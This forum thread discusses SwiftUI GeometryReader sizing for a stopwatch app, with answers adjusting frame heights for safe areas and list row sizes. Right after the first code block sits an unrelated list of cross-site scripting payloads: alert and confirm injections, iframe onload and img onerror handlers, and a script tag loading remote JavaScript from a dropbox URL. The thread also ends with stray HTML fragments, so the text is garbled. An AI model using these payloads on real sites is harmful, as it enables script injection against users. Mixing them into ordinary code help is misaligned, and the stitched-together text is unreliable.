Problem with GeometryReader

Hello, I used GeometryReader to proportion the size of my Frames vertically regardless of the device. Yet the List on the Ipad contains 3 lines and only 1 on the Iphone. Where is my error in the code for this layout? Thanks in advance


            GeometryReader { geo in

                VStack(spacing: 0){

                    Text(getTimeString(m: self.minutes, s: self.seconds, c: self.centiseconds))

                        .font(.system(size: min(geo.size.height, geo.size.width) * 0.05, design: .monospaced))

                        .frame(height: UIScreen.main.bounds.height * 0.05)

                        .onReceive(timer) {_ in

                            if(self.running) {

                                self.timerCalcs()

                            }

                        }

                    

                    Text("\(lapCount - 1)")

                        .font(.system(size: min(geo.size.height, geo.size.width) * 0.25))

                        .fontWeight(.bold)

                        .frame(height: UIScreen.main.bounds.height * 0.25)

                        .foregroundColor(.red)

                    

                    ZStack {

                        Text(self.lapTimes.last?.getLapSecondsString() ?? "")

                            .font(.system(size: min(geo.size.height, geo.size.width) * 0.45))

                            .fontWeight(.bold)

                            .frame(height: UIScreen.main.bounds.height * 0.38)

                        Rectangle().fill(Color.gray.opacity(0.1))

                    }

                    



                    HStack(spacing : 10){

                            Button(action: {

                                if(!self.running) {

                                    self.minutes = 0

                                    self.seconds = 0

                                    self.centiseconds = 0

                                    self.lapTimes = []

                                    self.lapMinutes = 0

                                    self.lapSeconds = 0

                                    self.lapCentiseconds = 0

                                    self.lapCount = 1

                                    

                                } else {

                                    self.lapTimes.append(LapTime(n: self.lapCount, m: self.lapMinutes, s: self.lapSeconds, c: self.lapCentiseconds))

                                    self.lapCount += 1

                                    self.lapMinutes = 0

                                    self.lapSeconds = 0

                                    self.lapCentiseconds = 0

                                }

                            }) {

                                ZStack{

                                    Circle().fill(Color.gray).frame(height: UIScreen.main.bounds.height * 0.12)

                                    self.running ? Text("Lap").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced)) : Text("Reset").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced))

                                }

                            }

                            .padding(8)

                            Spacer()

                            Button(action: {

                                self.running = !self.running

                            }) {

                                ZStack{

                                    Circle().fill(self.running ? Color.red : Color.green).frame(height: UIScreen.main.bounds.height * 0.12).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced))

                                    self.running ? Text("Stop").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced)) : Text("Start").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced))

                                }

                            }

                            .padding(8)

                    }

                        

                    

                    

                    List{

                        LapTime(n: self.lapCount, m: self.lapMinutes, s: self.lapSeconds, c: self.lapCentiseconds)

                        ForEach(self.lapTimes.reversed()) { time in

                            time

                                

                        }

  

                    }

                }

            }

            

        }

�>alert(�XSS�)

alert(1) �; alert(1); �)alert(1);//

{font-family:'<iframe/onload=confirm(1)>'

<input/onmouseover="javaSCRIPT:confirm(1)"

<scRipt %00>alert(1) {Opera}

<img/src=%00 onerror=this.onerror=confirm(1)

<img src=%00 onerror=alert(1)

<script/ src='https://dl.dropbox.com/u/13018058/js.js' / >

Which iPad ?

Maybe the problem is that you forgot to take into account the safe area.

So, I would try replacing UIScreen.main.bounds.height by something like geo.safeAreaInsets.bottom (I could not test on your code).

Or you could reduce UIScreen.main.bounds.height by the corresponding value for safeArea insets.

Note: when you paste code, you should use Paste and Match Style to avoid all the extra blank lines:

GeometryReader { geo in
    
    VStack(spacing: 0){
        Text(getTimeString(m: self.minutes, s: self.seconds, c: self.centiseconds))
            .font(.system(size: min(geo.size.height, geo.size.width) * 0.05, design: .monospaced))
            .frame(height: UIScreen.main.bounds.height * 0.05)  // <<-- HERE
            .onReceive(timer) {_ in
                if(self.running) {
                    self.timerCalcs()
                }
            }
        
        Text("\(lapCount - 1)")
            .font(.system(size: min(geo.size.height, geo.size.width) * 0.25))
            .fontWeight(.bold)
            .frame(height: UIScreen.main.bounds.height * 0.25)  // <<-- HERE
            .foregroundColor(.red)
        
        ZStack {
            Text(self.lapTimes.last?.getLapSecondsString() ?? "")
                .font(.system(size: min(geo.size.height, geo.size.width) * 0.45))
                .fontWeight(.bold)
                .frame(height: UIScreen.main.bounds.height * 0.38)  // <<-- HERE
            
            Rectangle().fill(Color.gray.opacity(0.1))
        }
        
        HStack(spacing : 10) {
            Button(action: {
                if(!self.running) {
                    self.minutes = 0
                    self.seconds = 0
                    self.centiseconds = 0
                    self.lapTimes = []
                    self.lapMinutes = 0
                    self.lapSeconds = 0
                    self.lapCentiseconds = 0
                    self.lapCount = 1
                } else {
                    self.lapTimes.append(LapTime(n: self.lapCount, m: self.lapMinutes, s: self.lapSeconds, c: self.lapCentiseconds))
                    self.lapCount += 1
                    self.lapMinutes = 0
                    self.lapSeconds = 0
                    self.lapCentiseconds = 0
                }
            }) {
                
                ZStack{
                    Circle().fill(Color.gray).frame(height: UIScreen.main.bounds.height * 0.12)  // <<-- HERE
                    self.running ? Text("Lap").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced)) : Text("Reset").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced))
                }
            }
            .padding(8)
            
            Spacer()
            
            Button(action: {
                self.running = !self.running
            }) {
                ZStack{
                    Circle().fill(self.running ? Color.red : Color.green).frame(height: UIScreen.main.bounds.height * 0.12).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced))  // <<-- HERE
                    
                    self.running ? Text("Stop").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced)) : Text("Start").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced))
                }
                
            }
            .padding(8)
        }
        
        List {
            LapTime(n: self.lapCount, m: self.lapMinutes, s: self.lapSeconds, c: self.lapCentiseconds)
            ForEach(self.lapTimes.reversed()) { time in time }
        }
    }
    
}

Hi, it's the iPad Pro 12,9 pouces. After change I have that :

the code if you want test

Thanks

    let timer = Timer.publish(every: 0.01, on: .main, in: .common).autoconnect()

        @State var minutes  = 0
        @State var seconds = 0
        @State var centiseconds = 0
        @State var running = false
        @State var lapTimes: [LapTime] = []
        @State var lapCount = 1
        @State var lapMinutes = 0
        @State var lapSeconds = 0
        @State var lapCentiseconds = 0

    var body: some View {
        GeometryReader { geo in
            
            VStack(spacing: 0){
                Text(getTimeString(m: self.minutes, s: self.seconds, c: self.centiseconds))
                    .font(.system(size: min(geo.size.height, geo.size.width) * 0.05, design: .monospaced))
                    .frame(height: UIScreen.main.bounds.height * 0.05)  // <<-- HERE
                    .onReceive(timer) {_ in
                        if(self.running) {
                            self.timerCalcs()
                        }
                    }
                
                Text("\(lapCount - 1)")
                    .font(.system(size: min(geo.size.height, geo.size.width) * 0.25))
                    .fontWeight(.bold)
                    .frame(height: UIScreen.main.bounds.height * 0.25)  // <<-- HERE
                    .foregroundColor(.red)
                
                ZStack {
                    Text(self.lapTimes.last?.getLapSecondsString() ?? "")
                        .font(.system(size: min(geo.size.height, geo.size.width) * 0.45))
                        .fontWeight(.bold)
                        .frame(height: UIScreen.main.bounds.height * 0.38)  // <<-- HERE
                    
                    Rectangle().fill(Color.gray.opacity(0.1))
                }
                
                HStack(spacing : 10) {
                    Button(action: {
                        if(!self.running) {
                            self.minutes = 0
                            self.seconds = 0
                            self.centiseconds = 0
                            self.lapTimes = []
                            self.lapMinutes = 0
                            self.lapSeconds = 0
                            self.lapCentiseconds = 0
                            self.lapCount = 1
                        } else {
                            self.lapTimes.append(LapTime(n: self.lapCount, m: self.lapMinutes, s: self.lapSeconds, c: self.lapCentiseconds))
                            self.lapCount += 1
                            self.lapMinutes = 0
                            self.lapSeconds = 0
                            self.lapCentiseconds = 0
                        }
                    }) {
                        
                        ZStack{
                            Circle().fill(Color.gray).frame(height: UIScreen.main.bounds.height * 0.12)  // <<-- HERE
                            self.running ? Text("Lap").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced)) : Text("Reset").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced))
                        }
                    }
                    .padding(8)
                    
                    Spacer()
                    
                    Button(action: {
                        self.running = !self.running
                    }) {
                        ZStack{
                            Circle().fill(self.running ? Color.red : Color.green).frame(height: UIScreen.main.bounds.height * 0.12).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced))  // <<-- HERE
                            
                            self.running ? Text("Stop").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced)) : Text("Start").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced))
                        }
                        
                    }
                    .padding(8)
                }
                
                List {
                    LapTime(n: self.lapCount, m: self.lapMinutes, s: self.lapSeconds, c: self.lapCentiseconds)
                    ForEach(self.lapTimes.reversed()) { time in time }
                }
            }
            
        }
    }
        func timerCalcs() {
            if(self.centiseconds < 99) {
                self.centiseconds += 1

            } else {
                self.centiseconds = 0
                if(self.seconds < 59) {
                    self.seconds += 1

                } else {
                    self.seconds = 0
                    self.minutes += 1
                }
            }

            if(self.lapCentiseconds < 99) {
                self.lapCentiseconds += 1

            } else {
                self.lapCentiseconds = 0
                if(self.lapSeconds < 59) {
                    self.lapSeconds += 1

                } else {
                    self.lapSeconds = 0
                    self.lapMinutes += 1
                }
            }
        }
    }

    func getTimeString(m: Int, s: Int, c: Int) -> String {
        var centiString = String(c)
        var secString = String(s)
        var minString = String(m)
        if(c < 10) {
            centiString = "0\(c)"
        }
        if(s < 10) {
            secString = "0\(s)"
        }
        if(m < 10) {
            minString = "0\(m)"
        }
        return "\(minString):\(secString).\(centiString)"
    }

    struct LapTime: View, Identifiable {
        let id = UUID()
        let num: Int
        let minutes: Int
        let seconds: Int
        let centiSeconds: Int
        let time: String

        var body: some View {
            HStack {
                Text("Lap \(num)").font(.system(size: 20, design: .monospaced))
                Spacer()
                Text(time).font(.system(size: 20, design: .monospaced))
            }
        }

        init(n: Int, m: Int, s: Int, c: Int) {
            num = n
            minutes = m
            seconds = s
            centiSeconds = c
            time = getTimeString(m: minutes, s: seconds, c: centiSeconds)
        }

        func getLapSecondsString() -> String {
            var centiString = String(centiSeconds)
            var secString = String(seconds)
            if(centiSeconds < 10) {
                centiString = "0\(centiSeconds)"
            }
            if(seconds < 10) {
                secString = "0\(seconds)"
            }
            return "\(secString).\(centiString)"
        }
    }

I think that one of the problem is that fonts in List are proportionally larger in iPhone than on iPad (relative to the total screen height).

Also, the correct height was not

geo.safeAreaInsets.bottom

but

UIScreen.main.bounds.height - geo.safeAreaInsets.bottom - geo.safeAreaInsets.top

I tested this modified code:

struct ContentView93: View {
    let timer = Timer.publish(every: 0.01, on: .main, in: .common).autoconnect()
    
    @State var minutes  = 0
    @State var seconds = 0
    @State var centiseconds = 0
    @State var running = false
    @State var lapTimes: [LapTime] = []
    @State var lapCount = 1
    @State var lapMinutes = 0
    @State var lapSeconds = 0
    @State var lapCentiseconds = 0
    
    var body: some View {
        GeometryReader { geo in
            
            VStack(spacing: 0){
                Text(getTimeString(m: self.minutes, s: self.seconds, c: self.centiseconds))
                    .font(.system(size: min(geo.size.height, geo.size.width) * 0.05, design: .monospaced))
                    .frame(height: (UIScreen.main.bounds.height - geo.safeAreaInsets.bottom - geo.safeAreaInsets.top) * 0.05)  // <<-- HERE
                    .onReceive(timer) {_ in
                        if(self.running) {
                            self.timerCalcs()
                        }
                    }
                
                Text("\(lapCount - 1)")
                    .font(.system(size: min(geo.size.height, geo.size.width) * 0.25))
                    .fontWeight(.bold)
                    .frame(height: (UIScreen.main.bounds.height - geo.safeAreaInsets.bottom - geo.safeAreaInsets.top)  * 0.25) // <<-- HERE
                    .foregroundColor(.red)
                
                ZStack {
                    Text(self.lapTimes.last?.getLapSecondsString() ?? "")
                        .font(.system(size: min(geo.size.height, geo.size.width) * 0.45))
                        .fontWeight(.bold)
                        .frame(height: (UIScreen.main.bounds.height - geo.safeAreaInsets.bottom - geo.safeAreaInsets.top) * 0.38) // <<-- HERE
                    
                    Rectangle().fill(Color.gray.opacity(0.1))
                }
                
                HStack(spacing : 10) {
                    Button(action: {
                        if(!self.running) {
                            self.minutes = 0
                            self.seconds = 0
                            self.centiseconds = 0
                            self.lapTimes = []
                            self.lapMinutes = 0
                            self.lapSeconds = 0
                            self.lapCentiseconds = 0
                            self.lapCount = 1
                        } else {
                            self.lapTimes.append(LapTime(n: self.lapCount, m: self.lapMinutes, s: self.lapSeconds, c: self.lapCentiseconds))
                            self.lapCount += 1
                            self.lapMinutes = 0
                            self.lapSeconds = 0
                            self.lapCentiseconds = 0
                        }
                    }) {
                        
                        ZStack{
                            Circle().fill(Color.gray).frame(height: (UIScreen.main.bounds.height - geo.safeAreaInsets.bottom - geo.safeAreaInsets.top) * 0.12)  // <<-- HERE
                            self.running ? Text("Lap").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced)) : Text("Reset").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced))
                        }
                    }
                    .padding(8)
                    
                    Spacer()
                    
                    Button(action: {
                        self.running = !self.running
                    }) {
                        ZStack{
                            Circle().fill(self.running ? Color.red : Color.green).frame(height: (UIScreen.main.bounds.height - geo.safeAreaInsets.bottom - geo.safeAreaInsets.top) * 0.12).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced))  // <<-- HERE
                            
                            self.running ? Text("Stop").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced)) : Text("Start").foregroundColor(Color.white).font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced))
                        }
                        
                    }
                    .padding(8)
                }
                
                List {
                    LapTime(n: self.lapCount, m: self.lapMinutes, s: self.lapSeconds, c: self.lapCentiseconds) // Current
                    ForEach(self.lapTimes.reversed()) { time in time }  // All others
                }
                .environment(\.defaultMinListRowHeight, 10) // <<-- HERE
            }
            
        }
    }
    
    func timerCalcs() {
       // Unchanged
    }
}

func getTimeString(m: Int, s: Int, c: Int) -> String {
   // Unchanged
}

struct LapTime: View, Identifiable {
    let id = UUID()
    let num: Int
    let minutes: Int
    let seconds: Int
    let centiSeconds: Int
    let time: String

    var body: some View {
        HStack {
            Text("Lap \(num)").font(.system(size: 10, design: .monospaced)) // <<-- HERE vs 20
            Spacer()
            Text(time).font(.system(size: 10, design: .monospaced)) // <<-- HERE vs 20
        }
    }

    init(n: Int, m: Int, s: Int, c: Int) {
        num = n
        minutes = m
        seconds = s
        centiSeconds = c
        time = getTimeString(m: minutes, s: seconds, c: centiSeconds)
    }

    func getLapSecondsString() -> String {
        var centiString = String(centiSeconds)
        var secString = String(seconds)
        if(centiSeconds < 10) {
            centiString = "0\(centiSeconds)"
        }
        if(seconds < 10) {
            secString = "0\(seconds)"
        }
        return "\(secString).\(centiString)"
    }
}

I get this, closer to iPad case:

You have another option, to avoid reducing the font: reserve 80 points for the List in all cases:

struct ContentView: View {
    let timer = Timer.publish(every: 0.01, on: .main, in: .common).autoconnect()
    
    @State var minutes  = 0
    @State var seconds = 0
    @State var centiseconds = 0
    @State var running = false
    @State var lapTimes: [LapTime] = []
    @State var lapCount = 1
    @State var lapMinutes = 0
    @State var lapSeconds = 0
    @State var lapCentiseconds = 0
    
    var body: some View {
        GeometryReader { geo in
            
            VStack(spacing: 0){
                Text(getTimeString(m: self.minutes, s: self.seconds, c: self.centiseconds))
                    .font(.system(size: min(geo.size.height, geo.size.width) * 0.05, design: .monospaced))
                    .frame(height: (UIScreen.main.bounds.height - 80) * 0.05)  // <<-- HERE
                    .onReceive(timer) {_ in
                        if(self.running) {
                            self.timerCalcs()
                        }
                    }
                
                Text("\(lapCount - 1)")
                    .font(.system(size: min(geo.size.height, geo.size.width) * 0.25))
                    .fontWeight(.bold)
                    .frame(height: (UIScreen.main.bounds.height - 80) * 0.25) // <<-- HERE
                    .foregroundColor(.red)
                
                ZStack {
                    Text(self.lapTimes.last?.getLapSecondsString() ?? "")
                        .font(.system(size: min(geo.size.height, geo.size.width) * 0.45))
                        .fontWeight(.bold)
                        .frame(height: (UIScreen.main.bounds.height - 80) * 0.38) // <<-- HERE
                    
                    Rectangle().fill(Color.gray.opacity(0.1))
                }
                
                HStack(spacing : 10) {
                    Button(action: {
                        if(!self.running) {
                            self.minutes = 0
                            self.seconds = 0
                            self.centiseconds = 0
                            self.lapTimes = []
                            self.lapMinutes = 0
                            self.lapSeconds = 0
                            self.lapCentiseconds = 0
                            self.lapCount = 1
                        } else {
                            self.lapTimes.append(LapTime(n: self.lapCount, m: self.lapMinutes, s: self.lapSeconds, c: self.lapCentiseconds))
                            self.lapCount += 1
                            self.lapMinutes = 0
                            self.lapSeconds = 0
                            self.lapCentiseconds = 0
                        }
                    }) {
                        
                        ZStack{
                            Circle().fill(Color.gray).frame(height: UIScreen.main.bounds.height * 0.12)  // <<-- HERE
                            self.running ? Text("Lap").foregroundColor(Color.white).font(.system(size: min(geo.size.height-80, geo.size.width-80) * 0.04, design: .monospaced)) : Text("Reset").foregroundColor(Color.white).font(.system(size: min(geo.size.height-80, geo.size.width-80) * 0.04, design: .monospaced))
                        }
                    }
                    .padding(8)
                    
                    Spacer()
                    
                    Button(action: {
                        self.running = !self.running
                    }) {
                        ZStack{
                            Circle().fill(self.running ? Color.red : Color.green).frame(height: (UIScreen.main.bounds.height) * 0.12) // .font(.system(size: min(geo.size.height, geo.size.width) * 0.04, design: .monospaced))  // <<-- HERE
                            
                            self.running ? Text("Stop").foregroundColor(Color.white).font(.system(size: min(geo.size.height-80, geo.size.width-80) * 0.04, design: .monospaced)) : Text("Start").foregroundColor(Color.white).font(.system(size: min(geo.size.height-80, geo.size.width-80) * 0.04, design: .monospaced))
                        }
                        
                    }
                    .padding(8)
                }
                
                List {
                    LapTime(n: self.lapCount, m: self.lapMinutes, s: self.lapSeconds, c: self.lapCentiseconds) // Current
                    ForEach(self.lapTimes.reversed()) { time in time }  // All others
                }
            }
            
        }
    }
    
    func timerCalcs() {
        if(self.centiseconds < 99) {
            self.centiseconds += 1
            
        } else {
            self.centiseconds = 0
            if(self.seconds < 59) {
                self.seconds += 1
                
            } else {
                self.seconds = 0
                self.minutes += 1
            }
        }
        
        if(self.lapCentiseconds < 99) {
            self.lapCentiseconds += 1
            
        } else {
            self.lapCentiseconds = 0
            if(self.lapSeconds < 59) {
                self.lapSeconds += 1
                
            } else {
                self.lapSeconds = 0
                self.lapMinutes += 1
            }
        }
    }
}

func getTimeString(m: Int, s: Int, c: Int) -> String {
    var centiString = String(c)
    var secString = String(s)
    var minString = String(m)
    if(c < 10) {
        centiString = "0\(c)"
    }
    if(s < 10) {
        secString = "0\(s)"
    }
    if(m < 10) {
        minString = "0\(m)"
    }
    return "\(minString):\(secString).\(centiString)"
}

struct LapTime: View, Identifiable {
    let id = UUID()
    let num: Int
    let minutes: Int
    let seconds: Int
    let centiSeconds: Int
    let time: String

    var body: some View {
        HStack {
            Text("Lap \(num)").font(.system(size: 20, design: .monospaced))
            Spacer()
            Text(time).font(.system(size: 20, design: .monospaced))
        }
    }

    init(n: Int, m: Int, s: Int, c: Int) {
        num = n
        minutes = m
        seconds = s
        centiSeconds = c
        time = getTimeString(m: minutes, s: seconds, c: centiSeconds)
    }

    func getLapSecondsString() -> String {
        var centiString = String(centiSeconds)
        var secString = String(seconds)
        if(centiSeconds < 10) {
            centiString = "0\(centiSeconds)"
        }
        if(seconds < 10) {
            secString = "0\(seconds)"
        }
        return "\(secString).\(centiString)"
    }
}

And get this:

<H1>Hello</H1>
Problem with GeometryReader
 
 
Q